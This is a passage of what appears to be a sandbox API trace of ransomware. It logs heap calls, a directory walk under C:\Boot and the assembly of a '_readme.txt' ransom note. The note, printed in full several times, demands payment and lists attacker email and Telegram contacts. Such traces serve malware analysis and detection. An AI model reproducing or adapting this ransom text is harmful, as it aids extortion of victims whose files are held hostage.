hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.296] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.296] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.297] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.299] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.300] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.300] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.300] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.300] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.300] PathFindFileNameW (pszPath="") returned="" [0266.300] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.300] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.301] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.301] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.301] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.301] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0266.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.301] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0266.302] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.302] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.302] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.302] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.303] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.303] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.303] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.303] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.303] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.303] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.304] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.304] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.304] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.305] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.305] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 